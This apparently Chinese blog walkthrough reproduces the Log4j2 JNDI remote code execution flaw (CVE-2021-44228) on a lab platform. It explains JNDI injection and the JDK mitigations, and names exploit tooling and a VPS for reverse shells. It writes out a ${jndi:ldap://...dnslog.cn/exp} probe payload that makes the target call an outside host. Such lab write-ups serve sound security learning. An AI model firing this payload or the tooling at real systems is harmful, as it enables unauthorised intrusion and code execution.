漏洞描述
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。
楼栋编号：CVE-2021-44228
说的通俗一点，log4j2就是java框架开发中常常会被使用的日志记录工具，开发者直接在pom.xml文件中便可引入相关依赖，使用此工具。相信很多java开发人员对此并不陌生。
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>2.6.1</version>
</dependency>
然而，在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的请求包，最终出发远程代码执行。该漏洞实际上是组件解析缺陷导致的。
漏洞影响范围
2.0 <= Apache Log4j2<= 2.14.1
如果Java应用中引入了log4j-api、log4j-core两个jar，则极大可能受到影响。电力运营商金融行业，都是重灾区。
这个漏洞在安全圈掀起了轩然大波，由于具体的payload公开，大量的网站都存在这个问题，例如百度、ICloud等等知名网站。攻击者能够通过该漏洞进行数据窃取、挖矿、勒索，堪比互联网内的“新冠”。被圈内人称为核弹级漏洞、史诗级漏洞，甚至犹如新冠 ，不断滋生出更多的利用方式……
漏洞复现
利用平台：云演漏洞复现平台
验证工具
burp、dnslog、VPS（公网ip服务器，用来反弹shell）、JNDI-Injection-Exploit-1.0-SNAPSHOT-all（JNDI注入利用工具，log4j2漏洞利用工具）
JNDI-Injection-Exploit-1.0-SNAPSHOT-all下载地址：https://github.com/welk1n/JNDI-Injection-Exploit
下载后需要编译成jar包进行使用，具体使用方法请见REAMED.md文件。
JNDI注入
在做漏洞复现之前，有必要先了解一下JNDI注入
参考链接：https://blog.csdn.net/u011479200/article/details/108246846
jndi的全称为Java Naming and Directory Interface（java命名和目录接口）SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API，通过不同的服务供应接口（SPI）的实现，由管理者将JNDI API映射为特定的命名服务和目录系统，使得Java应用程序可以和这些命名服务和目录服务之间进行交互
好，我们了解了JNDI注入之后，知道了它有两种协议可供我们攻击利用，即ldap协议和rmi协议
其中，不得不提的是，建议大家要学的不单单是log4j2这一漏洞，同时还要理解JNDI注入的原理，这也是此漏洞产生的根本原因。
JNDI注入原理
就是将恶意的Reference类绑定在RMI注册表中，其中恶意引用指向远程恶意的class文件，当用户在JNDI客户端的lookup（）函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时，会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类，从而加载远程服务器上的恶意class文件在客户端本地执行，最终实现JNDI注入攻击导致远程代码执行。
jndi注入的利用条件
客户端的lookup（）方法的参数可控
服务端在使用Reference时，classFactoryLocation参数可控
上面两个都是在编写程序时可能存在的脆弱点（任意一个满足就行），除此之外，jdk版本在jndi注入中也起着至关重要的作用，而且不同的攻击响亮对jdk的版本要求也不一致，这里就全部列出来：
JDK 6u45、7u21之后：java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后：增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项，因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞，但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。
复现过程
开启漏洞复现环境，访问页面
利用goole hackbar插件，请求路径为/hello，并构造payload，进行post发包请求，如下所示
由于此漏洞不会有回显，所以我们在检测其漏洞是否存在，需要借助dnslog来查看是否有回显，如果有回显，则说明该网站存在Apache log4j2远程代码执行漏洞
构造payload
payload=${jndi:ldap://xxxxxx.dnslog.cn/exp}
2、hackbar发包，即可在dnslog平台看到靶机回显信息，证明漏洞存在
这里可能有些师傅不理解，为什么dnslog回显就能证明漏洞存在呢，或者为什么要用dnslog来测试漏洞是否存在呢。
原因是dnslog平台会给我们生成一个自己的临时域名，可供我们使用，当我们访问此域名的时候，就会解析此域名，大都知道，DNS服务器的作用就是解析域名，那么，当我们解析了该域名的时候，dnslog平台就会把解析了此域名的主机ip回显到平台页面上。
而log4j2漏洞payload正是利用上面所提过的JNDI注入，进行远程代码执行，那么我们payload里通过JNDI注入了dnslog平台给我们的域名，如果注入成功了，那么靶机就会解析我们注入的域名，则靶机ip信息就会回显到dnslog平台上，所以，dnslog平台上有了靶机信息的回显，就可以说明我们构造的JNDI注入的payload注入成功了，就证明该网站存在log4j2远程代码执行漏洞。
我相信这样大家都很容易理解了吧！
|
